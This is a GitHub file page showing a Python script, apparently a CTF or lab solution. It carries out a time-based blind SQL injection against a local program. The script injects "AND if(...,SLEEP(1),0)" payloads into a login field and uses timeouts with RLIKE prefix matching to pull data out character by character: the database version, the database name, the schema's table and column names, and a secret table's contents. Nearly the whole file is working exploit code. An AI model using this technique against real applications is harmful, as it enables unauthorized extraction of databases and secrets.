-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmysqli_invisible_time_exp.py
executable file
·60 lines (48 loc) · 1.59 KB
/
mysqli_invisible_time_exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from mysqli_invisible_time import *
import string
import io
import sys
import signal
def handler(signum, frame):
raise Exception("timeout")
signal.signal(signal.SIGALRM, handler)
def escape_string(c):
return "\\" + c if c in ".+*" else c
def exp():
payload_template = "Liki4' AND if({exp},SLEEP(1),0);#"
space = string.ascii_letters + string.digits + ' _:,$.'
exp_template = "@@version RLIKE '^{c}'"
exp_template = "DATABASE() RLIKE '^{c}'"
exp_template = "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^{c}'"
exp_template = "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^{c}'"
print(exp_template)
Flag = True
data = ""
while Flag:
ori_stdout = sys.stdout
for c in space:
payload = payload_template.format(exp=exp_template.format(c=data+c))
sys.stdin = io.StringIO(payload + '\n555_i_dont_know_password')
res = sys.stdout = io.StringIO()
signal.alarm(1)
try:
main()
print("timeout")
except:
print("bingooo")
output = str(res.getvalue())
if "timeout" in output:
continue
if c == "$":
Flag = False
break
if "bingooo" in output:
data += c
break
sys.stdout = ori_stdout
if Flag:
print(data, end="\r")
else:
print(data)
if __name__ == "__main__":
exp()